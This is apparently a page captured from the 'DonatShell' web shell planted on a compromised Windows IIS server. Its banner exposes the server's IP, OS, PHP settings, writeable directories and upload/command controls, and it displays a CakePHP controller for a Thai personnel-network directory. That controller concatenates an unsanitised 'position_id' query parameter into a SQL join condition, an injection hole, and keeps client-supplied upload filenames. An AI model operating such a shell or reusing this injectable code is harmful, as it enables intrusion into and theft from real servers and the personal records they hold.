DonatShell
Server IP : 180.180.241.3  /  Your IP : 216.73.216.194
Web Server : Microsoft-IIS/7.5
System : Windows NT NETWORK-NHRC 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/AppServ/www/app/Controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/AppServ/www/app/Controller/PeopleController.php_5-10-2020
<?php
ini_set('memory_limit', '-1');
App::uses('AppController', 'Controller');
/**
 * People Controller
 *
 * @property Person $Person
 * @property PaginatorComponent $Paginator
 */
class PeopleController extends AppController {

    // all actions require log in
    public function beforeFilter() {
        parent::beforeFilter();
        $this->Auth->deny();
    }

    // @todo - use JOINs, enjoy.
    private function __getCommonConditions(&$conditions, &$joins) {
        $keyword = '';
        if ( isset($this->params->query['filter_keyword'])
            && !empty($this->params->query['filter_keyword']) ) {
            $keyword = $this->params->query['filter_keyword'];
            $keywordValue = sprintf('%%%s%%', $keyword);

            $searchInFields = array(
                'name', 'eng_name', 'short_name', 'eng_short_name',
                'address1', 'address2', 'postal_code', 'telephone1',
                'telephone2', 'telephone3', 'fax', 'email', 'url',
                'work_level', 'objective', 'publish');

            $keywordCondition = array();
            foreach ( $searchInFields as $field ) {
                $keywordCondition['Person.' . $field . ' LIKE'] = $keywordValue;
            }

            $conditions['OR'] = $keywordCondition;
        }
        $this->set('keyword', $keyword);

        $searchByPosition = 0;
        $positionId = 0;

        $positionJoin = array(
            'alias'         => 'IJ_PeoplePosition',
            'table'         => 'people_positions',
            'type'          => 'LEFT',
            'conditions'    => array(
                '`Person`.`id` = `IJ_PeoplePosition`.`person_id`',
            )
        );

        if ( isset($this->params->query['search_by_position'])
            && !empty($this->params->query['search_by_position'])
            && ((int)$this->params->query['search_by_position'] == 1) ) {
            $searchByPosition = 1;

            if (isset($this->params->query['position_id'])
                && !empty($this->params->query['position_id']) ) {
                $positionId = $this->params->query['position_id'];
                // $conditions['OR']['Person.position_id'] = $positionId;
                $positionJoin = array(
                    'alias'         => 'IJ_PeoplePosition',
                    'table'         => 'people_positions',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`Person`.`id` = `IJ_PeoplePosition`.`person_id`',
                        '`IJ_PeoplePosition`.`position_id` = ' . $positionId
                    )
                );
            } // if position_id
        }
        $joins[] = $positionJoin;
        $this->set('search_by_position', $searchByPosition);
        $this->set('position_id', $positionId);

        $topicId = 0;
        $subtopicId = 0;
        $subtopics = array();
        if ( isset($this->params->query['topic_id'])
            && !empty($this->params->query['topic_id']) ) {
            $topicId = (int)$this->params->query['topic_id'];
            $subtopics = $this->Person->Subtopic->find('list',
                array(
                    'conditions' => array('topic_id' => $topicId)
                ));

            if ( isset($this->params->query['subtopic_id'])
                && !empty($this->params->query['subtopic_id']) ) {
                // selected a subtopic
                $subtopicId = (int)$this->params->query['subtopic_id'];
                $joins[] = array(
                    'alias'         => 'IJ_PeopleTopic',
                    'table'         => 'people_subtopics',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`Person`.`id` = `IJ_PeopleTopic`.`person_id`',
                        '`IJ_PeopleTopic`.`subtopic_id` = ' . $subtopicId
                    )
                );

            } else {
                // all subtopics in selected topic_id
                $joins[] = array(
                    'alias'         => 'IJ_PeopleSubtopic',
                    'table'         => 'people_subtopics',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`IJ_PeopleSubtopic`.`person_id` = `Person`.`id`'
                    )
                );

                $joins[] = array(
                    'alias'         => 'IJ_SubtopicTopic',
                    'table'         => 'subtopics',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`IJ_PeopleSubtopic`.`subtopic_id` = `IJ_SubtopicTopic`.`id`'
                    )
                );

                $joins[] = array(
                    'alias'         => 'TopicsSubtopics',
                    'table'         => 'topics',
                    'type'          => 'INNER',
                    'conditions'    => array(
                        '`IJ_SubtopicTopic`.`topic_id` = `TopicsSubtopics`.`id`',
                        '`TopicsSubtopics`.`id` = ' . $topicId
                    )
                );
            }
        }
        $this->set('topic_id', $topicId);
        $this->set('subtopic_id', $subtopicId);
        $this->set('subtopics', $subtopics);

        $targetId = 0;
        if ( isset($this->params->query['target_id'])
            && !empty($this->params->query['target_id']) ) {
            $targetId = (int)$this->params->query['target_id'];
            $joins[] = array(
                'alias'         => 'IJ_PeopleTarget',
                'table'         => 'people_targets',
                'type'          => 'INNER',
                'conditions'    => array(
                    '`Person`.`id` = `IJ_PeopleTarget`.`person_id`',
                    '`IJ_PeopleTarget`.`target_id` = ' . $targetId
                ),
            );
        }
        $this->set('target_id', $targetId);

        $organizationId = 0;
        if ( isset($this->params->query['organization_id'])
            && !empty($this->params->query['organization_id']) ) {
            $organizationId = (int)$this->params->query['organization_id'];
            $joins[] = array(
                'alias'         => 'IJ_organization',
                'table'         => 'organizations_targets',
                'type'          => 'INNER',
                'conditions'    => array(
                    '`Person`.`organization_id` = `IJ_organization`.`organization_id`',
                    '`IJ_organization`.`organization_id` = ' . $organizationId
                ),
            );
        }
       // print_r($organizationId);exit();
        $this->set('organization_id', $organizationId);

        // search from address, defaults to person's actual address
        $addressType = 'address';
        if ( isset($this->params->query['address_type'])
            && !empty($this->params->query['address_type']) ) {
            $addressType = $this->params->query['address_type'];
        }
        $this->set('address_type', $addressType);

        // region, province, district
        $regionId = 0;
        $provinceId = 0;
        $districtId = 0;

        $provinces = array();
        $districts = array();
        if ( isset($this->params->query['region_id'])
            && !empty($this->params->query['region_id']) ) {
            $regionId = (int)$this->params->query['region_id'];

            // set list values for province_id field in the view
            $this->loadModel('Province');
            $provinces = $this->Province->find('list',
                array(
                    'conditions' => array('region_id' => $regionId)
                ));

            // select region and province
            if ( isset($this->params->query['province_id'])
                && !empty($this->params->query['province_id']) ) {
                $provinceId = (int)$this->params->query['province_id'];

                $districts = $this->Person->District->find('list',
                    array(
                        'conditions' => array('District.province_id' => $provinceId)
                    ));

                // specific district
                if ( isset($this->params->query['district_id'])
                    && !empty($this->params->query['district_id']) ) {
                    $districtId = (int)$this->params->query['district_id'];

                    if ( $addressType == 'address' ) {
                        $conditions['AND']['Person.district_id'] = $districtId;
                    } else {
                        // all people that have $districtId in districts_people table

                        $joins[] = array(
                            'alias'         => 'IJ_PeopleDistrict',
                            'table'         => 'districts_people',
                            'type'          => 'INNER',
                            'conditions'    => array(
                                '`IJ_PeopleDistrict`.`person_id` = `Person`.`id`',
                                '`IJ_PeopleDistrict`.`district_id` = ' . $districtId
                            )
                        );
                    }
                } else {

                    // all districts in selected province
                    if ( $addressType == 'address' ) {
                        $joins[] = array(
                            'alias'         => 'IJ_PeopleDistrict',
                            'table'         => 'districts',
                            'type'          => 'INNER',
                            'conditions'    => array(
                                '`IJ_PeopleDistrict`.`id` = `Person`.`district_id`',
                                '`IJ_PeopleDistrict`.`province_id` = ' . $provinceId
                            )
                        );

                    } else {

                        $joins[] = array(
                            'alias'         => 'IJ_PeopleDistrict',
                            'table'         => 'districts_people',
                            'type'          => 'INNER',
                            'conditions'    => array(
                                '`IJ_PeopleDistrict`.`person_id` = `Person`.`id`'
                            )
                        );

                        $joins[] = array(
                            'alias'         => 'IJ_District',
                            'table'         => 'districts',
                            'type'          => 'INNER',
                            'conditions'    => array(
                                '`IJ_PeopleDistrict`.`district_id` = `IJ_District`.`id`',
                                '`IJ_District`.`province_id` = ' . $provinceId
                            )
                        );

                    }
                }
            } else {

                // select only region, search in all districts in all provinces in selected region
                // all districts in selected province
                if ( $addressType == 'address' ) {
                    $joins[] = array(
                        'alias'         => 'IJ_PeopleDistrict',
                        'table'         => 'districts',
                        'type'          => 'INNER',
                        'conditions'    => array(
                            '`IJ_PeopleDistrict`.`id` = `Person`.`district_id`'
                        )
                    );

                    $joins[] = array(
                        'alias'         => 'IJ_DistrictProvince',
                        'table'         => 'provinces',
                        'type'          => 'INNER',
                        'conditions'    => array(
                            '`IJ_PeopleDistrict`.`province_id` = `IJ_DistrictProvince`.`id`',
                            '`IJ_DistrictProvince`.`region_id` = ' . $regionId
                        )
                    );

                } else {
                    // search in พื้นที่การทำงาน
                    $joins[] = array(
                        'alias'         => 'IJ_PeopleDistrict',
                        'table'         => 'districts_people',
                        'type'          => 'INNER',
                        'conditions'    => array(
                            '`IJ_PeopleDistrict`.`person_id` = `Person`.`id`'
                        )
                    );

                    $joins[] = array(
                        'alias'         => 'IJ_District',
                        'table'         => 'districts',
                        'type'          => 'INNER',
                        'conditions'    => array(
                            '`IJ_PeopleDistrict`.`district_id` = `IJ_District`.`id`'
                        )
                    );

                    $joins[] = array(
                        'alias'         => 'IJ_Province',
                        'table'         => 'provinces',
                        'type'          => 'INNER',
                        'conditions'    => array(
                            '`IJ_District`.`province_id` = `IJ_Province`.`id`',
                            '`IJ_Province`.`region_id` = ' . $regionId
                        )
                    );
                }

            }

        }
        $this->set('region_id', $regionId);
        $this->set('province_id', $provinceId);
        $this->set('district_id', $districtId);

        $this->set('provinces', $provinces);
        $this->set('districts', $districts);

        $joined = '';
        $joinedTo = '';
        if ( isset($this->params->query['joined'])
            && !empty($this->params->query['joined'])) {

            $joined = $this->params->query['joined'];
            $dateConditions = array(
                'Person.joined >= ?' => array($joined)
            );

            if ( isset($this->params->query['joined_to'])
                && !empty($this->params->query['joined_to']) ) {
                $joinedTo = $this->params->query['joined_to'];
                $dateConditions = array(
                    'Person.joined BETWEEN ? AND ?' => array(
                        $joined, $joinedTo
                    )
                );
            }

            $conditions['OR'] = $dateConditions;
        }
        $this->set('joined', $joined);
        $this->set('joined_to', $joinedTo);
        //add condition title  by 2017
        $title='';  
          if ( isset($this->params->query['title'])
            && !empty($this->params->query['title']) ) {
            $title = $this->params->query['title'];
            $keywordTitleValue = sprintf('%%%s%%', $title);

          

            $keywordTitleCondition = array();
         
                $keywordTitleCondition['Person.title LIKE'] = $keywordTitleValue;
            

            $conditions['OR'] = $keywordTitleCondition;
        }
          $this->set('title', $title);
        
         //add condition firstname by 2017
        
         $firstname='';
          if ( isset($this->params->query['firstname'])
            && !empty($this->params->query['firstname']) ) {
            $firstname = $this->params->query['firstname'];
            $keywordFirstnameValue = sprintf('%%%s%%', $firstname);

          

            $keywordFirstnameCondition = array();
         
                $keywordFirstnameCondition['Person.firstname LIKE'] = $keywordFirstnameValue;
            

            $conditions['OR'] = $keywordFirstnameCondition;
        }
          $this->set('firstname', $firstname);
        
         //add condition lastname by 2017
            $lastname='';
          if ( isset($this->params->query['lastname'])
            && !empty($this->params->query['lastname']) ) {
            $lastname = $this->params->query['lastname'];
            $keywordLastnameValue = sprintf('%%%s%%', $lastname);

          

            $keywordLastnameCondition = array();
         
                $keywordLastnameCondition['Person.lastname LIKE'] = $keywordLastnameValue;
            

            $conditions['OR'] = $keywordLastnameCondition;
        }
          $this->set('lastname', $lastname);
          
          
          
          //add condition eng title  by 2017
        $eng_title='';  
          if ( isset($this->params->query['eng_title'])
            && !empty($this->params->query['eng_title']) ) {
            $eng_title = $this->params->query['eng_title'];
            $keywordEngTitleValue = sprintf('%%%s%%', $eng_title);

          

            $keywordEngTitleCondition = array();
         
                $keywordEngTitleCondition['Person.eng_title LIKE'] = $keywordEngTitleValue;
            

            $conditions['OR'] = $keywordEngTitleCondition;
        }
          $this->set('eng_title', $eng_title);
        
         //add condition eng firstname by 2017
        
         $eng_firstname='';
          if ( isset($this->params->query['eng_firstname'])
            && !empty($this->params->query['eng_firstname']) ) {
            $eng_firstname = $this->params->query['eng_firstname'];
            $keywordEngFirstnameValue = sprintf('%%%s%%', $eng_firstname);

          

            $keywordEngFirstnameCondition = array();
         
                $keywordEngFirstnameCondition['Person.firstname LIKE'] = $keywordEngFirstnameValue;
            

            $conditions['OR'] = $keywordEngFirstnameCondition;
        }
          $this->set('eng_firstname', $eng_firstname);
        
         //add condition eng lastname by 2017
            $eng_lastname='';
          if ( isset($this->params->query['eng_lastname'])
            && !empty($this->params->query['eng_lastname']) ) {
            $eng_lastname = $this->params->query['eng_lastname'];
            $keywordEngLastnameValue = sprintf('%%%s%%', $eng_lastname);

          

            $keywordEngLastnameCondition = array();
         
                $keywordEngLastnameCondition['Person.lastname LIKE'] = $keywordEngLastnameValue;
            

            $conditions['OR'] = $keywordEngLastnameCondition;
        }
          $this->set('eng_lastname', $eng_lastname);
         
    
         
    }






/**
 * admin_index method
 *
 * @return void
 */
    public function admin_index() {

        $conditions = array();
        $joins = array();
        $this->__getCommonConditions($conditions, $joins);

        //Set status for query
        if ( !isset($this->params->query['status']) ) {
            $this->params->query['status'] = 1;
        }

        $conditions['Person.is_activated'] = array($this->params->query['status']);

        $this->Paginator->settings['conditions'] = $conditions;
        $this->Paginator->settings['joins'] = $joins;
        $this->Paginator->settings['group'] = 'Person.id';

        $this->Person->recursive = 1;
        $this->set('people', $this->Paginator->paginate());

        $this->_setListValues(array('Organization', 'Type', 'Topic', 'Position', 'Target', 'Region'));

        $this->set('topicTitle', __('เครือข่ายบุคคล'));
    }

    /**
     * Add person detail
     *
     * @author Ting <3musketeersteam@gmail.com>
     * @since 17 October 2013
     * @modify 2014-03-06 - Mike - Added Nation Wide option
     */
    public function admin_add() {
        if ($this->request->is('post')) {
            $this->Person->create();

            // if nation wide option is selected, we have to add all the districts of the database to the array
            if( $this->request->data['Person']['is_nationwide'] ) {
                unset( $this->request->data['DistrictM2M']['DistrictM2M'] );

                $this->loadModel( 'District' );
                $districts = $this->District->find( 'all', array(
                    'recursive'     => -1,
                    'fields' => array( 'id' )
                ) );




                // convert to array with index starting at 0, 1, 2, ...
                $this->request->data['DistrictM2M']['DistrictM2M'] = Set::extract( '/District/id', $districts );
            } else if( !empty( $this->request->data['PersonProvinceWide']['PersonProvinceWide'] ) ) {
                // At least one province has been selected as `province wide`

                $this->loadModel( 'District' );
                $districts = $this->District->find( 'all', array(
                    'recursive'     => -1,
                    'fields' => array( 'id' ),
                    'conditions' => array(
                        'District.province_id' => $this->request->data['PersonProvinceWide']['PersonProvinceWide'],
                    )
                ) );
                $districts = Set::extract( '/District/id', $districts );

                // convert to array with index starting at 0, 1, 2, ...
                $this->request->data['DistrictM2M']['DistrictM2M'] = array_merge(
                                                                                                                (array) $this->request->data['DistrictM2M']['DistrictM2M'],
                                                                                                                $districts );

                $provinceswide = $this->request->data['PersonProvinceWide']['PersonProvinceWide'];

                // we don't want cakephp to insert some wrong data in the table, we do it ourself
                unset( $this->request->data['PersonProvinceWide']['PersonProvinceWide'] );
            }

            // take care of the people_positions entries
            if( !empty( $this->request->data['PersonPosition']['PersonPosition'] ) ) {
                $peoplePositions = $this->request->data['PersonPosition'];
                // we don't want cakephp to insert some wrong data in the table, we do it ourself
                unset( $this->request->data['PersonPosition'] );
            }
            //add createdby new by 2017
            $this->request->data['Person']['createdby']=$this->Session->read('Auth.User.username');
            $this->request->data['Person']['name']=$this->request->data['Person']['title'].$this->request->data['Person']['firstname']." ".$this->request->data['Person']['lastname'];
            if(!empty($this->request->data['Person']['eng_title'])||!empty($this->request->data['Person']['eng_firstname'])||!empty($this->request->data['Person']['eng_lastname'])){
                $this->request->data['Person']['eng_name']=$this->request->data['Person']['eng_title'].$this->request->data['Person']['eng_firstname']." ".$this->request->data['Person']['eng_lastname'];
            }
            
            
              if( $this->request->data['Person']['is_nationwide'] ) {
             
             
              }


            if ( !$this->Person->save($this->request->data) ) {
                $this->Session->setFlash(__('ไม่สามารถบันทึกข้อมูลเครือข่ายบุคคลได้ กรุณาลองใหม่อีกครั้ง'), 'flash-fail');
                $this->redirect(array('action' => 'index'));
            }

            //Find last id of `Person` that we just insert.
            $orgId = $this->Person->getLastInsertID();

            if( isset( $provinceswide ) && !empty( $provinceswide ) ) {
                // insert all the provinces in the table `organizations_provinces_wide`
                foreach( ( array )$provinceswide as $province ) {
                    $this->Person->PersonProvinceWide->create();
                    $this->Person->PersonProvinceWide->save( array(
                        'person_id' => $orgId,
                        'province_id' => $province,
                    ) );
                }
            }

            if( isset( $peoplePositions ) && !empty( $peoplePositions ) ) {
                $nPeoplePositions = count( $peoplePositions['PersonPosition'] );
                for( $i = 0; $i < $nPeoplePositions; $i++ ) {

                    $this->Person->PeoplePosition->create();
                    $this->Person->PeoplePosition->save( array(
                        'person_id' => $orgId,
                        'position_id' => $peoplePositions['PersonPosition'][$i],
                        'start' =>$peoplePositions['PersonPositionStart'][$i],
                        'end' =>$peoplePositions['PersonPositionEnd'][$i],
                    ) );
                }
            }

            try {
                $this->__handleUploadPhoto( $orgId );
            } catch ( Exception $e ) {
                $this->Session->setFlash( $e->getMessage(), 'flash-fail' );
                return;
            }

            $this->Session->setFlash(__('บันทึกข้อมูลเครือข่ายบุคคลสำเร็จ'), 'flash-success');
            $this->redirect(array('action' => 'index'));
        }

        //Find another relation for add organization.
        $models = array( 'Offer', 'Action', 'Role', 'Organization' );

        foreach( $models as $model ) {
            $this->set( strtolower( Inflector::pluralize($model) ) , $this->Person->{$model}->find('list'));
        }
        $this->loadModel( 'Position' );
        $this->set( 'positions' , $this->Position->find('list', array('conditions' => array( 'Position.is_activated' => 1 ))));

        // $this->Person->Role->find('first');
        $this->loadModel('Topic');
        $this->set('topics', $this->Topic->find('list'));
        $this->set('targetList', $this->Person->Target->find('list'));

        $this->loadModel('Member');
        $this->set('members', $this->Member->find('list'));

        $this->set('districts', array());
        $this->set('provinces', $this->Person->District->Province->find('list'));

        $this->set('topicTitle', __('เพิ่มข้อมูลเครือข่ายบุคคล'));
        
        
          $this->loadModel('Organization');
     //   $nameOrganization=str_replace('"', '',$this->Organization->find('list',array('fields'=>'Organization.name')));
        //  $idOrganization=$this->Organization->find('list',array('fields'=>'Organization.id'));
        // $strNameor =array($idOrganization, $nameOrganization);
      $Organizations = $this->Organization->find( 'all', array(
               'conditions' => array('Organization.is_activated' => 1),
                    'recursive'     => -1,
                    'fields' => array( 'id' ,'name')   ) );
$i=0;
        foreach($Organizations as $Organization){
            $response[$i]['id']="".$Organization['Organization']['id']."";
            $response[$i]['value']="".str_replace('"', '', $Organization['Organization']['name'])."";
            $i++;
        }

         $strNameor=json_encode($response);
         
          
        // $this->set('nameor', $nameor);
    /*          foreach($Organizations as $Organization) {
  $strNameor +=$Organization['Organization']['name']. '|' .$Organization['Organization']['id'] . "\n";
 }*/
        
       // $strNameor='"'.implode('","',str_replace('"', '', $nameor)).'"';
        $this->set('nameor',$strNameor);
    
        
    }
    
    

    /**
     * admin_edit method
     *
     * @throws NotFoundException if not found any data.
     * @param string $id id of person
     * @author Ting <3musketeersteam@gmail.com>
     * @since 18 October 2013
     * @modify 2014-03-06 - Mike - Added Nation Wide option
     * @modify 2014-03-21 - Mike - Relation between People and Position changed
     *
     */
    public function admin_edit( $id = null ) {

        if ( !$this->Person->exists($id) ) {
            throw new NotFoundException(__('ไม่พบข้อมูลเครือข่ายบุคคล'));
        }

        if ( $this->request->is('post') || $this->request->is('put') ) {
            $this->Person->id = $id;

            // delete previous entries in table `people_provinces_wide`
            $this->Person->PersonProvinceWide->deleteAll( array(
                'PersonProvinceWide.person_id' => $id,
            ) );

            // if nation wide option is selected, we have to add all the districts of the database to the array
            if( $this->request->data['Person']['is_nationwide'] ) {
                unset( $this->request->data['DistrictM2M']['DistrictM2M'] );

                $this->loadModel( 'District' );
                $districts = $this->District->find( 'all', array(
                    'recursive'     => -1,
                    'fields' => array( 'id' )
                ) );

                // convert to array with index starting at 0, 1, 2, ...
                $this->request->data['DistrictM2M']['DistrictM2M'] = Set::extract( '/District/id', $districts );
            } else if( !empty( $this->request->data['PersonProvinceWide']['PersonProvinceWide'] ) ) {
                // At least one province has been selected as `province wide`
                // debug( $this->request->data['PersonProvinceWide']['PersonProvinceWide'] ); return;

                $this->loadModel( 'District' );
                $districts = $this->District->find( 'all', array(
                    'recursive'     => -1,
                    'fields' => array( 'id' ),
                    'conditions' => array(
                        'District.province_id' => $this->request->data['PersonProvinceWide']['PersonProvinceWide'],
                    )
                ) );
                $districts = Set::extract( '/District/id', $districts );

                // convert to array with index starting at 0, 1, 2, ...
                $this->request->data['DistrictM2M']['DistrictM2M'] = array_merge(
                                                                                                                (array) $this->request->data['DistrictM2M']['DistrictM2M'],
                                                                                                                $districts );

                // insert all the provinces in the table `organizations_provinces_wide`
                foreach( ( array )$this->request->data['PersonProvinceWide']['PersonProvinceWide'] as $province ) {
                    $this->Person->PersonProvinceWide->create();
                    $this->Person->PersonProvinceWide->save( array(
                        'person_id' => $id,
                        'province_id' => $province,
                    ) );

                }

                // we don't want cakephp to insert some wrong data in the table, we do it ourself
                unset( $this->request->data['PersonProvinceWide']['PersonProvinceWide'] );
            }

            // take care of the people_positions entries
            $this->Person->PeoplePosition->deleteAll( array( 'person_id' => $id ) );
            if( !empty( $this->request->data['PersonPosition']['PersonPosition'] ) ) {
                $nPeoplePositions = count ( $this->request->data['PersonPosition']['PersonPosition'] );
                for( $i = 0; $i < $nPeoplePositions; $i++ ) {

                    if( isset( $this->request->data['PersonPosition']['PersonPosition'][$i] ) ) {
                        $this->Person->PeoplePosition->create();
                        $this->Person->PeoplePosition->save( array(
                            'person_id' => $id,
                            'position_id' => $this->request->data['PersonPosition']['PersonPosition'][$i],
                            'start' =>$this->request->data['PersonPosition']['PersonPositionStart'][$i],
                            'end' =>$this->request->data['PersonPosition']['PersonPositionEnd'][$i],
                        ) );
                    }
                }

                // we don't want cakephp to insert some wrong data in the table, we do it ourself
                unset( $this->request->data['PersonPosition'] );
            }
            //add modifiedby new by 2017
          $this->request->data['Person']['modifiedby']=$this->Session->read('Auth.User.username');
            $this->request->data['Person']['name']=$this->request->data['Person']['title'].$this->request->data['Person']['firstname']." ".$this->request->data['Person']['lastname'];
            if(!empty($this->request->data['Person']['eng_title'])||!empty($this->request->data['Person']['eng_firstname'])||!empty($this->request->data['Person']['eng_lastname'])){
                $this->request->data['Person']['eng_name']=$this->request->data['Person']['eng_title'].$this->request->data['Person']['eng_firstname']." ".$this->request->data['Person']['eng_lastname'];
            }
            

            if ( !$this->Person->save($this->request->data) ) {
                $this->Session->setFlash(__('ไม่สามารถแก้ไขข้อมูลเครือข่ายบุคคลได้ กรุณาลองใหม่อีกครั้ง'), 'flash-fail');
                $this->redirect(array('action' => 'index'));
            }

            //If user need to add `specail memeber`.
            // if ( isset($this->request->data['Person']['ismou']) && $this->request->data['Person']['ismou'] == 1 ) {
            //     //Save `specail memeber` with `start` and `end`
            //     $this->Person->PeopleMembership->create();
            //     $this->Person->PeopleMembership->save(array(
            //             'person_id' => $id,
            //             'member_id' => $this->request->data['Person']['member_id'],
            //             'start' => $this->request->data['Person']['mou_start'],
            //             'end' => $this->request->data['Person']['mou_end']
            //         ));
            // }

            try {
                $this->__handleUploadPhoto( $id );
            } catch ( Exception $e ) {
                // @todo - update this message to thai
                $this->Session->setFlash( __( 'The person has been saved but there was an error with the photo: ' ) . $e->getMessage(), 'flash-fail' );
                $this->redirect(array('action' => 'index'));
            }


            $this->Session->setFlash(__('บันทึกข้อมูลเครือข่ายบุคคลสำเร็จ'), 'flash-success');
            $this->redirect(array('action' => 'index'));
        }

        $options = array('conditions' => array('Person.' . $this->Person->primaryKey => $id));
        $this->request->data = $this->Person->find('first', $options);

        //Find another relation for add organization.
        // $models = array( 'Offer', 'Action', 'Role', 'Organization', 'Position' );
        $models = array( 'Offer', 'Action', 'Role', 'Organization' );

        foreach( $models as $model ) {
                $this->set( strtolower( Inflector::pluralize($model) ) , $this->Person->{$model}->find('list', array('conditions' => array( $model . '.is_activated' => 1 ))));
        }
        $this->loadModel( 'Position' );
        $positions = $this->Position->find('list', array('conditions' => array( 'Position.is_activated' => 1 )));
        $this->set( 'positions', $positions );

        // $this->Person->Role->find('first');
        $this->loadModel('Topic');
        $this->set('topics', $this->Topic->find('list'));
        $this->set('targetList', $this->Person->Target->find('list'));
        $this->set('districts', array());
        $provinces = $this->Person->District->Province->find('list');
        $this->set( 'provinces', $provinces );

        //Find province by district
        //@TODO : Should we creat new function for this i think we will use many times.
        $this->Person->District->recursive = 0;
        $provinceExists = $this->Person->District->findById($this->request->data['Person']['district_id']);
        $this->set('province_exists', $provinceExists);

        //Get all district depending on province's id.
        if ( isset($provinceExists['Province']['name'])) {
            $districts = $this->Person->District->find('list', array('conditions' => array('District.province_id' => $provinceExists['Province']['id'])));
        } else {
            $districts = array();
        }

        $provinceswide = $this->Person->PersonProvinceWide->find( 'list', array(
            'fields'    => array( 'PersonProvinceWide.province_id', 'PersonProvinceWide.person_id' ),
            'conditions' => array(
                'PersonProvinceWide.person_id' => $id,
            ),
            'order' => array( 'PersonProvinceWide.province_id' ),
        ) );
        foreach( $provinceswide as $kProvWide => $vProvWide ) {
            $provinceswide[$kProvWide] = $provinces[$kProvWide];
        }

        //Try to make data for mutil checkbox
        $models = array(
            'districtm2ms' => 'DistrictM2M',
            'subtopics' => 'Subtopic',
            'targets' => 'Target',
        );

        foreach( $models as $kModel => $vModel ) {
            $$kModel = array();
            foreach( $this->request->data[$vModel] as $vData ) {
                if( ( $kModel != 'districtm2ms' ) || ( !isset( $provinceswide[$vData['province_id']] ) ) ) {
                    ${$kModel}[$vData['id']] = $vData['name'];
                }
            }
        }

        $this->loadModel('Member');
        $this->set('members', $this->Member->find('list'));

        $this->Person->PeopleMembership->recursive = 1;
        $peopleMember = $this->Person->PeopleMembership->findByPersonId($id);
        $this->set('people_member', $peopleMember);

        $this->set(compact('districts', 'districtm2ms', 'subtopics', 'provinceswide', 'targets', 'peoplePositions'));
        $this->set('topicTitle', __('แก้ไขข้อมูล: ') . $this->request->data['Person']['name']);

        // build the url for the photos
        $photosUrl = 'people/' . $id;
        $this->set( 'photos_url', $photosUrl );
             $this->loadModel('Organization');
          $Organizations = $this->Organization->find( 'all', array(
               'conditions' => array('Organization.is_activated' => 1),
                    'recursive'     => -1,
                    'fields' => array( 'id' ,'name')   ) );
$i=0;
        foreach($Organizations as $Organization){
            $response[$i]['id']="".$Organization['Organization']['id']."";
            $response[$i]['value']="".str_replace('"', '', $Organization['Organization']['name'])."";
            $i++;
        }

         $strNameor=json_encode($response);
         $this->set('nameor',$strNameor);
    }

/**
 * admin_delete method
 *
 * @throws NotFoundException
 * @param string $id
 * @return void
 */
    public function admin_delete($id = null) {
        $this->Person->id = $id;
        if (!$this->Person->exists()) {
            throw new NotFoundException(__('Invalid person'));
        }
        $this->request->onlyAllow('get', 'delete', 'post');
        if ($this->Person->delete()) {
            $this->Session->setFlash(__('The person has been deleted.'));
        } else {
            $this->Session->setFlash(__('The person could not be deleted. Please, try again.'));
        }
        return $this->redirect(array('action' => 'index'));
    }

    /**
     * acvtivate itams from inactivated.
     *
     * @param  int $id person's id
     * @author Ting <3Musketeersteam@gmail.com>
     * @since 27 January 2014
     */
    public function admin_active($id = null) {
        $this->Person->id = $id;

        if (!$this->Person->exists()) {
            throw new NotFoundException(__('ไม่พบเครือข่ายบุคคล'));
        }

        $this->request->onlyAllow('get', 'delete', 'post');

        if ($this->Person->activate()) {
            $this->Session->setFlash(__('เปิดใช้งานเครือข่ายบุคคลเรียบร้อยแล้ว'), 'flash-success');
        } else {
            $this->Session->setFlash(__('ไม่สามารถเปิดการใช้งานเครือข่ายบุคคล'), 'flash-fail');
        }

        return $this->redirect(array('action' => 'index'));
    }

    /**
     * Remove Member from People table.
     * > Remove Member data from Member table.
     * > Take old Member data to Member Histoy table.
     *
     * @param  int $id person id
     * @return JSON
     * @author Ting <3musketeersteam@gmail.com>

     * @since 18 October 2013
     */
    public function admin_memberDelete( $id = null, $memberId = null ) {
        $this->autoRender = false;
        if ( $id == 0 && $memberId == 0 ) {
            return json_encode(false);
        }

        //Delete old MOU data
        $peopleMemberId = $this->Person->PeopleMembership->findByMemberIdAndPersonId($memberId, $id, array('fileds' => 'id'));
        $this->Person->PeopleMembership->id = $peopleMemberId['PeopleMembership']['id'];
        if ( !$this->Person->PeopleMembership->delete() ) {
            return json_encode(false);
        }

        return json_encode(true);
     }

     private function __handleUploadPhoto( $id ) {
        $destinationFolder = WWW_ROOT . 'img' . DS . 'people' . DS . $id . DS;

        // delete photo?
        if( isset( $this->request->data['Person']['delete_photo'] ) ) {

            foreach( $this->request->data['Person']['delete_photo'] as $delPhoto ) {
                $photoName = $this->Person->Photo->find( 'first', array(
                    'conditions' => array(
                        'id'    => $delPhoto,
                        'model' => 'person',
                    ),
                    'fields' => array( 'id', 'name' ),
                ) );

                // delete file
                @unlink( $destinationFolder . $photoName['Photo']['name'] );
                // delete record from db
                $this->Person->Photo->delete( $photoName['Photo']['id'] );
            }
        }

        // is there a new photo to upload?
        if( $this->request->data['Person']['photo']['error'] == UPLOAD_ERR_OK ) {

            $filePhoto = $this->request->data['Person']['photo'];
            $type = @getimagesize( $filePhoto['tmp_name'] );
            $newName = $filePhoto['name'];

            if( ( $type == false ) ||  !in_array( $type[2], Configure::read( 'image_types_allowed' ) ) ) {
                throw new Exception( __( 'the type of the image is not allowed.' ) );
            }

            // does the destination folder exist?
            if( !file_exists( $destinationFolder ) && !is_dir( $destinationFolder ) ) {
                mkdir( $destinationFolder, 0755, true );
            }

            if( !is_uploaded_file( $filePhoto['tmp_name'] ) || !move_uploaded_file( $filePhoto['tmp_name'], $destinationFolder . $newName ) ) {
                throw new Exception( __( 'the system cannot access your uploaded file.' ) );
            }

            // Delete existing photo from db and File system
            $existingPhoto = $this->Person->Photo->find( 'first', array(
                'conditions' => array(
                    'model' => 'person',
                    'fk_id' => $id,
                ),
                'recursive' => -1
            ) );

            if( !empty( $existingPhoto ) ) {
                // delete old photo if different name (otherwise it should have been overwritten by `move_uploaded` function)
